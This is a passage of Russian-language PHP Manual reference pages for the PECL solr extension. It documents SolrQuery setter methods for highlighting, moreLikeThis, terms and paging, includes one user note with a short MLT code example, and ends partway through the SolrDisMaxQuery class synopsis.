  • « SolrQuery::setHighlightSnippets
  • SolrQuery::setMlt »
  • PHP Manual
  • SolrQuery
  • Следует ли выделять выражения только тогда, когда они появляются во фразе запроса

SolrQuery::setHighlightUsePhraseHighlighter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightUsePhraseHighlighter — Следует ли выделять выражения только тогда, когда они появляются во фразе запроса

Описание

public SolrQuery::setHighlightUsePhraseHighlighter(bool $flag): SolrQuery

Устанавливает, следует ли использовать SpanScorer для выделения выражений только тогда, когда они появляются во фразе запроса в документе.

Список параметров

value

Устанавливает, следует ли использовать SpanScorer для выделения выражений только тогда, когда они появляются во фразе запроса в документе.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Включает или отключает moreLikeThis

  • « SolrQuery::setHighlightUsePhraseHighlighter
  • SolrQuery::setMltBoost »
  • PHP Manual
  • SolrQuery
  • Включает или отключает moreLikeThis

SolrQuery::setMlt

(PECL solr >= 0.9.2)

SolrQuery::setMlt — Включает или отключает moreLikeThis

Описание

public SolrQuery::setMlt(bool $flag): SolrQuery

Включает или отключает moreLikeThis

Список параметров

flag

true включает и false выключает.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

duerra at nospam dot yahoo dot com 18-Nov-2010 04:34
Note that currently, if enabling MLT results in Solr, you also need to set the MinDocFrequency and MinTermFrequency, or you will not get any results back.

<?php
$client = new SolrClient($params);
$query = new SolrQuery();
$query->setMlt(true);
$query->addField('*,score');
$query->setMltMinDocFrequency(1);
$query->setMltMinTermFrequency(1);

//What the MLT documents will be based off of
$query->setQuery('id:doc_10');
$result = $client->query($query);
$result->setParseMode(SolrQueryResponse::PARSE_SOLR_OBJ);
$response = $result->getResponse();

//MLT returns an array of documents based off of the id field value of EACH result returned in the primary search, with an array of MLT documents for each main result document returned

//Presuming the unique field in our schema above is "id" and I know that I will only be getting one document returned in the primary result set, then:
$similarDocs = $response->moreLikeThis->doc_10->docs;

?>

Hope this helps.


Устанавливает, будет ли запрос усилен релевантностью интересного выражения

  • « SolrQuery::setMlt
  • SolrQuery::setMltCount »
  • PHP Manual
  • SolrQuery
  • Устанавливает, будет ли запрос усилен релевантностью интересного выражения

SolrQuery::setMltBoost

(PECL solr >= 0.9.2)

SolrQuery::setMltBoost — Устанавливает, будет ли запрос усилен релевантностью интересного выражения

Описание

public SolrQuery::setMltBoost(bool $flag): SolrQuery

Устанавливает, будет ли запрос усилен релевантностью интересного выражения

Список параметров

value

Установите true или false

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает количество похожих документов, возвращаемых для каждого результата

  • « SolrQuery::setMltBoost
  • SolrQuery::setMltMaxNumQueryTerms »
  • PHP Manual
  • SolrQuery
  • Устанавливает количество похожих документов, возвращаемых для каждого результата

SolrQuery::setMltCount

(PECL solr >= 0.9.2)

SolrQuery::setMltCount — Устанавливает количество похожих документов, возвращаемых для каждого результата

Описание

public SolrQuery::setMltCount(int $count): SolrQuery

Устанавливает количество похожих документов, возвращаемых для каждого результата

Список параметров

count

Количество похожих документов, возвращаемых для каждого результата

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальное количество включаемых выражений запроса

  • « SolrQuery::setMltCount
  • SolrQuery::setMltMaxNumTokens »
  • PHP Manual
  • SolrQuery
  • Устанавливает максимальное количество включаемых выражений запроса

SolrQuery::setMltMaxNumQueryTerms

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxNumQueryTerms — Устанавливает максимальное количество включаемых выражений запроса

Описание

public SolrQuery::setMltMaxNumQueryTerms(int $value): SolrQuery

Устанавливает максимальное количество выражений запроса, которые будут включены в любой сгенерированный запрос.

Список параметров

value

Максимальное количество выражений запроса, которые будут включены в любой сгенерированный запрос

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт максимальное количество токенов для анализа

  • « SolrQuery::setMltMaxNumQueryTerms
  • SolrQuery::setMltMaxWordLength »
  • PHP Manual
  • SolrQuery
  • Задаёт максимальное количество токенов для анализа

SolrQuery::setMltMaxNumTokens

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxNumTokens — Задаёт максимальное количество токенов для анализа

Описание

public SolrQuery::setMltMaxNumTokens(int $value): SolrQuery

Задаёт максимальное количество токенов для анализа в каждом примере поля документа, которое не хранится с поддержкой TermVector.

Список параметров

value

Максимальное количество токенов для анализа

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальную длину слова

  • « SolrQuery::setMltMaxNumTokens
  • SolrQuery::setMltMinDocFrequency »
  • PHP Manual
  • SolrQuery
  • Устанавливает максимальную длину слова

SolrQuery::setMltMaxWordLength

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxWordLength — Устанавливает максимальную длину слова

Описание

public SolrQuery::setMltMaxWordLength(int $maxWordLength): SolrQuery

Устанавливает максимальную длину слова, выше которой слова будут игнорироваться.

Список параметров

maxWordLength

Максимальная длина слова, выше которой слова будут игнорироваться.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает частоту mltMinDoc

  • « SolrQuery::setMltMaxWordLength
  • SolrQuery::setMltMinTermFrequency »
  • PHP Manual
  • SolrQuery
  • Устанавливает частоту mltMinDoc

SolrQuery::setMltMinDocFrequency

(PECL solr >= 0.9.2)

SolrQuery::setMltMinDocFrequency — Устанавливает частоту mltMinDoc

Описание

public SolrQuery::setMltMinDocFrequency(int $minDocFrequency): SolrQuery

Частота, с которой будут игнорироваться слова, которых нет, по крайней мере, в таком количестве документов.

Список параметров

minDocFrequency

Частота, с которой будут игнорироваться слова, которых нет, по крайней мере, в таком количестве документов.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает частоту, ниже которой выражения будут игнорироваться в исходной документации

  • « SolrQuery::setMltMinDocFrequency
  • SolrQuery::setMltMinWordLength »
  • PHP Manual
  • SolrQuery
  • Устанавливает частоту, ниже которой выражения будут игнорироваться в исходной документации

SolrQuery::setMltMinTermFrequency

(PECL solr >= 0.9.2)

SolrQuery::setMltMinTermFrequency — Устанавливает частоту, ниже которой выражения будут игнорироваться в исходной документации

Описание

public SolrQuery::setMltMinTermFrequency(int $minTermFrequency): SolrQuery

Устанавливает частоту, ниже которой выражения будут игнорироваться в исходной документации

Список параметров

minTermFrequency

Частота, ниже которой выражения будут игнорироваться в исходной документации.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает минимальную длину слова

  • « SolrQuery::setMltMinTermFrequency
  • SolrQuery::setOmitHeader »
  • PHP Manual
  • SolrQuery
  • Устанавливает минимальную длину слова

SolrQuery::setMltMinWordLength

(PECL solr >= 0.9.2)

SolrQuery::setMltMinWordLength — Устанавливает минимальную длину слова

Описание

public SolrQuery::setMltMinWordLength(int $minWordLength): SolrQuery

Устанавливает минимальную длину слова, ниже которой слова будут игнорироваться.

Список параметров

minWordLength

Минимальная длина слова, ниже которой слова будут игнорироваться

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Исключает заголовок из возвращаемых результатов

  • « SolrQuery::setMltMinWordLength
  • SolrQuery::setQuery »
  • PHP Manual
  • SolrQuery
  • Исключает заголовок из возвращаемых результатов

SolrQuery::setOmitHeader

(PECL solr >= 0.9.2)

SolrQuery::setOmitHeader — Исключает заголовок из возвращаемых результатов

Описание

public SolrQuery::setOmitHeader(bool $flag): SolrQuery

Исключает заголовок из возвращаемых результатов

Список параметров

flag

true исключает заголовок из результата.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает поисковый запрос

  • « SolrQuery::setOmitHeader
  • SolrQuery::setRows »
  • PHP Manual
  • SolrQuery
  • Устанавливает поисковый запрос

SolrQuery::setQuery

(PECL solr >= 0.9.2)

SolrQuery::setQuery — Устанавливает поисковый запрос

Описание

public SolrQuery::setQuery(string $query): SolrQuery

Устанавливает поисковый запрос

Список параметров

query

Поисковый запрос

Возвращаемые значения

Возвращает текущий объект SolrQuery.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт максимальное количество строк, возвращаемых в результате

  • « SolrQuery::setQuery
  • SolrQuery::setShowDebugInfo »
  • PHP Manual
  • SolrQuery
  • Задаёт максимальное количество строк, возвращаемых в результате

SolrQuery::setRows

(PECL solr >= 0.9.2)

SolrQuery::setRows — Задаёт максимальное количество строк, возвращаемых в результате

Описание

public SolrQuery::setRows(int $rows): SolrQuery

Задаёт максимальное количество строк, возвращаемых в результате

Список параметров

rows

Максимальное количество возвращаемых строк

Возвращаемые значения

Возвращает текущий объект SolrQuery.

User Contributed Notes

There are no user contributed notes for this page.


Флаг для отображения отладочной информации

  • « SolrQuery::setRows
  • SolrQuery::setStart »
  • PHP Manual
  • SolrQuery
  • Флаг для отображения отладочной информации

SolrQuery::setShowDebugInfo

(PECL solr >= 0.9.2)

SolrQuery::setShowDebugInfo — Флаг для отображения отладочной информации

Описание

public SolrQuery::setShowDebugInfo(bool $flag): SolrQuery

Показывать ли отладочную информацию

Список параметров

flag

Показывать ли отладочную информацию. true или false

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Определяет количество пропускаемых строк

  • « SolrQuery::setShowDebugInfo
  • SolrQuery::setStats »
  • PHP Manual
  • SolrQuery
  • Определяет количество пропускаемых строк

SolrQuery::setStart

(PECL solr >= 0.9.2)

SolrQuery::setStart — Определяет количество пропускаемых строк

Описание

public SolrQuery::setStart(int $start): SolrQuery

Определяет количество пропускаемых строк. Полезно в разбивке на страницы результатов.

Список параметров

start

Количество пропущенных строк.

Возвращаемые значения

Возвращает текущий объект SolrQuery.

User Contributed Notes

There are no user contributed notes for this page.


Включает или отключает компонент Stats

  • « SolrQuery::setStart
  • SolrQuery::setTerms »
  • PHP Manual
  • SolrQuery
  • Включает или отключает компонент Stats

SolrQuery::setStats

(PECL solr >= 0.9.2)

SolrQuery::setStats — Включает или отключает компонент Stats

Описание

public SolrQuery::setStats(bool $flag): SolrQuery

Включает или отключает компонент Stats.

Список параметров

flag

true включает компонент Stats, а false отключает.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Включает или отключает TermsComponent

  • « SolrQuery::setStats
  • SolrQuery::setTermsField »
  • PHP Manual
  • SolrQuery
  • Включает или отключает TermsComponent

SolrQuery::setTerms

(PECL solr >= 0.9.2)

SolrQuery::setTerms — Включает или отключает TermsComponent

Описание

public SolrQuery::setTerms(bool $flag): SolrQuery

Включает или отключает TermsComponent

Список параметров

flag

true включает. false отключает

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает имя поля, из которого нужно получить выражение

  • « SolrQuery::setTerms
  • SolrQuery::setTermsIncludeLowerBound »
  • PHP Manual
  • SolrQuery
  • Устанавливает имя поля, из которого нужно получить выражение

SolrQuery::setTermsField

(PECL solr >= 0.9.2)

SolrQuery::setTermsField — Устанавливает имя поля, из которого нужно получить выражение

Описание

public SolrQuery::setTermsField(string $fieldname): SolrQuery

Устанавливает имя поля, из которого нужно получить выражение

Список параметров

fieldname

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Включает нижнюю границу выражения в набор результатов

  • « SolrQuery::setTermsField
  • SolrQuery::setTermsIncludeUpperBound »
  • PHP Manual
  • SolrQuery
  • Включает нижнюю границу выражения в набор результатов

SolrQuery::setTermsIncludeLowerBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsIncludeLowerBound — Включает нижнюю границу выражения в набор результатов

Описание

public SolrQuery::setTermsIncludeLowerBound(bool $flag): SolrQuery

Включает нижнюю границу выражения в набор результатов

Список параметров

flag

Включает нижнюю границу выражения в набор результатов

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Включает верхнюю границу выражения в набор результатов

  • « SolrQuery::setTermsIncludeLowerBound
  • SolrQuery::setTermsLimit »
  • PHP Manual
  • SolrQuery
  • Включает верхнюю границу выражения в набор результатов

SolrQuery::setTermsIncludeUpperBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsIncludeUpperBound — Включает верхнюю границу выражения в набор результатов

Описание

public SolrQuery::setTermsIncludeUpperBound(bool $flag): SolrQuery

Включает верхнюю границу выражения в набор результатов

Список параметров

flag

true or false

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальное количество возвращаемых выражений

  • « SolrQuery::setTermsIncludeUpperBound
  • SolrQuery::setTermsLowerBound »
  • PHP Manual
  • SolrQuery
  • Устанавливает максимальное количество возвращаемых выражений

SolrQuery::setTermsLimit

(PECL solr >= 0.9.2)

SolrQuery::setTermsLimit — Устанавливает максимальное количество возвращаемых выражений

Описание

public SolrQuery::setTermsLimit(int $limit): SolrQuery

Устанавливает максимальное количество возвращаемых выражений

Список параметров

limit

Максимальное количество возвращаемых терминов. Все выражения будут возвращены, если лимит отрицательный.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Определяет выражение, с которого нужно начинать

  • « SolrQuery::setTermsLimit
  • SolrQuery::setTermsMaxCount »
  • PHP Manual
  • SolrQuery
  • Определяет выражение, с которого нужно начинать

SolrQuery::setTermsLowerBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsLowerBound — Определяет выражение, с которого нужно начинать

Описание

public SolrQuery::setTermsLowerBound(string $lowerBound): SolrQuery

Определяет выражение, с которого нужно начинать

Список параметров

lowerBound

Нижняя граница выражения

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальную частоту документов

  • « SolrQuery::setTermsLowerBound
  • SolrQuery::setTermsMinCount »
  • PHP Manual
  • SolrQuery
  • Устанавливает максимальную частоту документов

SolrQuery::setTermsMaxCount

(PECL solr >= 0.9.2)

SolrQuery::setTermsMaxCount — Устанавливает максимальную частоту документов

Описание

public SolrQuery::setTermsMaxCount(int $frequency): SolrQuery

Устанавливает максимальную частоту документов.

Список параметров

frequency

Максимальная частота

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает минимальную частоту документов

  • « SolrQuery::setTermsMaxCount
  • SolrQuery::setTermsPrefix »
  • PHP Manual
  • SolrQuery
  • Устанавливает минимальную частоту документов

SolrQuery::setTermsMinCount

(PECL solr >= 0.9.2)

SolrQuery::setTermsMinCount — Устанавливает минимальную частоту документов

Описание

public SolrQuery::setTermsMinCount(int $frequency): SolrQuery

Устанавливает минимальную частоту возврата документов для включения

Список параметров

frequency

Минимальная частота

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Ограничивает совпадения выражениями, начинающимися с префикса

  • « SolrQuery::setTermsMinCount
  • SolrQuery::setTermsReturnRaw »
  • PHP Manual
  • SolrQuery
  • Ограничивает совпадения выражениями, начинающимися с префикса

SolrQuery::setTermsPrefix

(PECL solr >= 0.9.2)

SolrQuery::setTermsPrefix — Ограничивает совпадения выражениями, начинающимися с префикса

Описание

public SolrQuery::setTermsPrefix(string $prefix): SolrQuery

Ограничивает совпадения выражениями, начинающимися с префикса

Список параметров

prefix

Ограничивает совпадения выражениями, начинающимися с префикса

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Вернуть необработанные символы проиндексированного выражения

  • « SolrQuery::setTermsPrefix
  • SolrQuery::setTermsSort »
  • PHP Manual
  • SolrQuery
  • Вернуть необработанные символы проиндексированного выражения

SolrQuery::setTermsReturnRaw

(PECL solr >= 0.9.2)

SolrQuery::setTermsReturnRaw — Вернуть необработанные символы проиндексированного выражения

Описание

public SolrQuery::setTermsReturnRaw(bool $flag): SolrQuery

Если true, возвращает необработанные символы проиндексированного выражения, независимо от того, человекочитаемые ли они.

Список параметров

value

true or false

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, как сортировать возвращённые условия

  • « SolrQuery::setTermsReturnRaw
  • SolrQuery::setTermsUpperBound »
  • PHP Manual
  • SolrQuery
  • Определяет, как сортировать возвращённые условия

SolrQuery::setTermsSort

(PECL solr >= 0.9.2)

SolrQuery::setTermsSort — Определяет, как сортировать возвращённые условия

Описание

public SolrQuery::setTermsSort(int $sortType): SolrQuery

Если SolrQuery::TERMS_SORT_COUNT, сортирует термины по частоте (наибольшее количество сначала). Если SolrQuery::TERMS_SORT_INDEX, возвращает условия в порядке индекса

Список параметров

sortType

SolrQuery::TERMS_SORT_INDEX или SolrQuery::TERMS_SORT_COUNT

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает условие для остановки

  • « SolrQuery::setTermsSort
  • SolrQuery::setTimeAllowed »
  • PHP Manual
  • SolrQuery
  • Устанавливает условие для остановки

SolrQuery::setTermsUpperBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsUpperBound — Устанавливает условие для остановки

Описание

public SolrQuery::setTermsUpperBound(string $upperBound): SolrQuery

Устанавливает условие для остановки

Список параметров

upperBound

Условие для остановки

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Время, отведённое на поиск

  • « SolrQuery::setTermsUpperBound
  • SolrDisMaxQuery »
  • PHP Manual
  • SolrQuery
  • Время, отведённое на поиск

SolrQuery::setTimeAllowed

(PECL solr >= 0.9.2)

SolrQuery::setTimeAllowed — Время, отведённое на поиск

Описание

public SolrQuery::setTimeAllowed(int $timeAllowed): SolrQuery

Время, отведённое для завершения поиска. Это значение относится только к поиску, а не к запросам в целом. Время в миллисекундах. Значения, меньшие или равные нулю, не предполагают ограничения по времени. Частичные результаты могут быть возвращены, если они есть.

Список параметров

timeAllowed

Время, отведённое для завершения поиска.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Класс SolrDisMaxQuery

(Информация о версии неизвестна, возможно, только в Git)

Введение

Обзор классов

class SolrDisMaxQuery extends SolrQuery implements Serializable {
/* Наследуемые свойства */
const int SolrQuery::ORDER_ASC = 0;
const int SolrQuery::ORDER_DESC = 1;
const int SolrQuery::FACET_SORT_INDEX = 0;
const int SolrQuery::FACET_SORT_COUNT = 1;
const int SolrQuery::TERMS_SORT_INDEX = 0;
const int SolrQuery::TERMS_SORT_COUNT = 1;
/* Методы */
public __construct(string $q = ?)
public addBigramPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery
public addBoostQuery(string $field, string $value, string $boost = ?): SolrDisMaxQuery
public addPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery
public addQueryField(string $field, string $boost = ?): SolrDisMaxQuery
public addTrigramPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery
public addUserField(string $field): SolrDisMaxQuery
public removeBigramPhraseField(string $field): SolrDisMaxQuery
public removeBoostQuery(string $field): SolrDisMaxQuery
public removePhraseField(string $field): SolrDisMaxQuery
public removeQueryField(string $field): SolrDisMaxQuery
public removeTrigramPhraseField(string $field): SolrDisMaxQuery
public removeUserField(string $field): SolrDisMaxQuery
public setBigramPhraseFields(string $fields): SolrDisMaxQuery
public setBigramPhraseSlop(string $slop): SolrDisMaxQuery
public setBoostFunction(string $function): SolrDisMaxQuery
public setBoostQuery(string $q): SolrDisMaxQuery
public setMinimumMatch(string $value): SolrDisMaxQuery
public setPhraseFields(string $fields): SolrDisMaxQuery
public setPhraseSlop(string $slop): SolrDisMaxQuery
public setQueryAlt(string $q): SolrDisMaxQuery
public setQueryPhraseSlop(string $slop): SolrDisMaxQuery
public setTieBreaker(string $tieBreaker): SolrDisMaxQuery
public setTrigramPhraseFields(string $fields): SolrDisMaxQuery
public setTrigramPhraseSlop(string $slop): SolrDisMaxQuery
public setUserFields(string $fields): SolrDisMaxQuery
public useDisMaxQueryParser(): SolrDisMaxQuery
public useEDisMaxQueryParser(): SolrDisMaxQuery
/* Наследуемые методы */
public SolrQuery::addExpandFilterQuery(string $fq): SolrQuery
public SolrQuery::addExpandSortField(string $field, string $order = ?): SolrQuery
public SolrQuery::addFacetDateField(string $dateField): SolrQuery
public SolrQuery::addFacetDateOther(string $value, string $field_override = ?): SolrQuery
public SolrQuery::addFacetField(string $field): SolrQuery
public SolrQuery::addFacetQuery(string $facetQuery): SolrQuery
public SolrQuery::addField(string $field): SolrQuery
public SolrQuery::addFilterQuery(string $fq): SolrQuery
public SolrQuery::addGroupField(string $value): SolrQuery
public SolrQuery::addGroupFunction(string $value): SolrQuery
public SolrQuery::addGroupQuery(string $value): SolrQuery
public SolrQuery::addGroupSortField(string $field, int $order = ?): SolrQuery
public SolrQuery::addHighlightField(string $field): SolrQuery
public SolrQuery::addMltField(string $field): SolrQuery
public SolrQuery::addMltQueryField(string $field, float $boost): SolrQuery
public SolrQuery::addSortField(string $field, int $order = SolrQuery::ORDER_DESC): SolrQuery
public SolrQuery::addStatsFacet(string $field): SolrQuery
public SolrQuery::addStatsField(string $field): SolrQuery
public SolrQuery::collapse(SolrCollapseFunction $collapseFunction): SolrQuery
public SolrQuery::getExpand(): bool
public SolrQuery::getExpandFilterQueries(): array
public SolrQuery::getExpandQuery(): array
public SolrQuery::getExpandRows(): int
public SolrQuery::getExpandSortFields(): array
public SolrQuery::getFacet(): bool
public SolrQuery::getFacetDateEnd(string $field_override = ?): string
public SolrQuery::getFacetDateFields(): array
public SolrQuery::getFacetDateGap(string $field_override = ?): string
public SolrQuery::getFacetDateHardEnd(string $field_override = ?): string
public SolrQuery::getFacetDateOther(string $field_override = ?): array
public SolrQuery::getFacetDateStart(string $field_override = ?): string
public SolrQuery::getFacetFields(): array
public SolrQuery::getFacetLimit(string $field_override = ?): int
public SolrQuery::getFacetMethod(string $field_override = ?): string
public SolrQuery::getFacetMinCount(string $field_override = ?): int
public SolrQuery::getFacetMissing(string $field_override = ?): bool
public SolrQuery::getFacetOffset(string $field_override = ?): int
public SolrQuery::getFacetPrefix(string $field_override = ?): string
public SolrQuery::getFacetQueries(): array
public SolrQuery::getFacetSort(string $field_override = ?): int
public SolrQuery::getFields(): array
public SolrQuery::getFilterQueries(): array
public SolrQuery::getGroup(): bool
public SolrQuery::getGroupCachePercent(): int
public SolrQuery::getGroupFacet(): bool
public SolrQuery::getGroupFields(): array
public SolrQuery::getGroupFormat(): string
public SolrQuery::getGroupFunctions(): array
public SolrQuery::getGroupLimit(): int
public SolrQuery::getGroupMain(): bool
public SolrQuery::getGroupNGroups(): bool
public SolrQuery::getGroupOffset(): int
public SolrQuery::getGroupQueries(): array
public SolrQuery::getGroupSortFields(): array
public SolrQuery::getGroupTruncate(): bool
public SolrQuery::getHighlight(): bool
public SolrQuery::getHighlightAlternateField(string $field_override = ?): string
public SolrQuery::getHighlightFields(): array
public SolrQuery::getHighlightFormatter(string $field_override = ?): string
public SolrQuery::getHighlightFragmenter(string $field_override = ?): string
public SolrQuery::getHighlightFragsize(string $field_override = ?): int
public SolrQuery::getHighlightHighlightMultiTerm(): bool
public SolrQuery::getHighlightMaxAlternateFieldLength(string $field_override = ?): int
public SolrQuery::getHighlightMaxAnalyzedChars(): int
public SolrQuery::getHighlightMergeContiguous(string $field_override = ?): bool
public SolrQuery::getHighlightRegexMaxAnalyzedChars(): int
public SolrQuery::getHighlightRegexPattern(): string
public SolrQuery::getHighlightRegexSlop(): float
public SolrQuery::getHighlightRequireFieldMatch(): bool
public SolrQuery::getHighlightSimplePost(string $field_override = ?): string
public SolrQuery::getHighlightSimplePre(string $field_override = ?): string
public SolrQuery::getHighlightSnippets(string $field_override = ?): int
public SolrQuery::getHighlightUsePhraseHighlighter(): bool
public SolrQuery::getMlt(): bool
public SolrQuery::getMltBoost(): bool
public SolrQuery::getMltCount(): int
public SolrQuery::getMltFields(): array
public SolrQuery::getMltMaxNumQueryTerms(): int
public SolrQuery::getMltMaxNumTokens(): int
public SolrQuery::getMltMaxWordLength(): int
public SolrQuery::getMltMinDocFrequency(): int
public SolrQuery::getMltMinTermFrequency(): int
public SolrQuery::getMltMinWordLength(): int
public SolrQuery::getMltQueryFields(): array
public SolrQuery::getQuery(): string
public SolrQuery::getRows(): int
public SolrQuery::getSortFields(): array
public SolrQuery::getStart(): int
public SolrQuery::getStats(): bool
public SolrQuery::getStatsFacets(): array
public SolrQuery::getStatsFields(): array
public SolrQuery::getTerms(): bool
public SolrQuery::getTermsField(): string
public SolrQuery::getTermsIncludeLowerBound(): bool
public SolrQuery::getTermsIncludeUpperBound(): bool
public SolrQuery::getTermsLimit(): int
public SolrQuery::getTermsLowerBound(): string
public SolrQuery::getTermsMaxCount(): int
public SolrQuery::getTermsMinCount(): int
public SolrQuery::getTermsPrefix(): string
public SolrQuery::getTermsReturnRaw(): bool
public SolrQuery::getTermsSort(): int
public SolrQuery::getTermsUpperBound(): string
public SolrQuery::getTimeAllowed(): int
public SolrQuery::removeExpandFilterQuery(string $fq): SolrQuery
public SolrQuery::removeExpandSortField(string $field): SolrQuery
public SolrQuery::removeFacetDateField(string $field): SolrQuery
public SolrQuery::removeFacetDateOther(string $value, string $field_override = ?): SolrQuery
public SolrQuery::removeFacetField(string $field): SolrQuery
public SolrQuery::removeFacetQuery(string $value): SolrQuery
public SolrQuery::removeField(string $field): SolrQuery
public SolrQuery::removeFilterQuery(string $fq): SolrQuery
public SolrQuery::removeHighlightField(string $field): SolrQuery
public SolrQuery::removeMltField(string $field): SolrQuery
public SolrQuery::removeMltQueryField(string $queryField): SolrQuery
public SolrQuery::removeSortField(string $field): SolrQuery
public SolrQuery::removeStatsFacet(string $value): SolrQuery
public SolrQuery::removeStatsField(string $field): SolrQuery
public SolrQuery::setEchoHandler(bool $flag): SolrQuery
public SolrQuery::setEchoParams(string $type): SolrQuery
public SolrQuery::setExpand(bool $value): SolrQuery
public SolrQuery::setExpandQuery(string $q): SolrQuery
public SolrQuery::setExpandRows(int $value): SolrQuery
public SolrQuery::setExplainOther(string $query): SolrQuery
public SolrQuery::setFacet(bool $flag): SolrQuery
public SolrQuery::setFacetDateEnd(string $value, string $field_override = ?): SolrQuery
public SolrQuery::setFacetDateGap(string $value, string $field_override = ?): SolrQuery
public SolrQuery::setFacetDateHardEnd(bool $value, string $field_override = ?): SolrQuery
public SolrQuery::setFacetDateStart(string $value, string $field_override = ?): SolrQuery
public SolrQuery::setFacetEnumCacheMinDefaultFrequency(int $frequency, string $field_override = ?): SolrQuery
public SolrQuery::setFacetLimit(int $limit, string $field_override = ?): SolrQuery
public SolrQuery::setFacetMethod(string $method, string $field_override = ?): SolrQuery
public SolrQuery::setFacetMinCount(int $mincount, string $field_override = ?): SolrQuery
public SolrQuery::setFacetMissing(bool $flag, string $field_override = ?): SolrQuery
public SolrQuery::setFacetOffset(int $offset, string $field_override = ?): SolrQuery
public SolrQuery::setFacetPrefix(string $prefix, string $field_override = ?): SolrQuery
public SolrQuery::setFacetSort(int $facetSort, string $field_override = ?): SolrQuery
public SolrQuery::setGroup(bool $value): SolrQuery
public SolrQuery::setGroupCachePercent(int $percent): SolrQuery
public SolrQuery::setGroupFacet(bool $value): SolrQuery
public SolrQuery::setGroupFormat(string $value): SolrQuery
public SolrQuery::setGroupLimit(int $value): SolrQuery
public SolrQuery::setGroupMain(string $value): SolrQuery
public SolrQuery::setGroupNGroups(bool $value): SolrQuery
public SolrQuery::setGroupOffset(int $value): SolrQuery
public SolrQuery::setGroupTruncate(bool $value): SolrQuery
public SolrQuery::setHighlight(bool $flag): SolrQuery
public SolrQuery::setHighlightAlternateField(string $field, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightFormatter(string $formatter, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightFragmenter(string $fragmenter, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightFragsize(int $size, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightHighlightMultiTerm(bool $flag): SolrQuery
public SolrQuery::setHighlightMaxAlternateFieldLength(int $fieldLength, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightMaxAnalyzedChars(int $value): SolrQuery
public SolrQuery::setHighlightMergeContiguous(bool $flag, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightRegexMaxAnalyzedChars(int $maxAnalyzedChars): SolrQuery
public SolrQuery::setHighlightRegexPattern(string $value): SolrQuery
public SolrQuery::setHighlightRegexSlop(float $factor): SolrQuery
public SolrQuery::setHighlightRequireFieldMatch(bool $flag): SolrQuery
public SolrQuery::setHighlightSimplePost(string $simplePost, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightSimplePre(string $simplePre, string $field_override = ?): SolrQuery
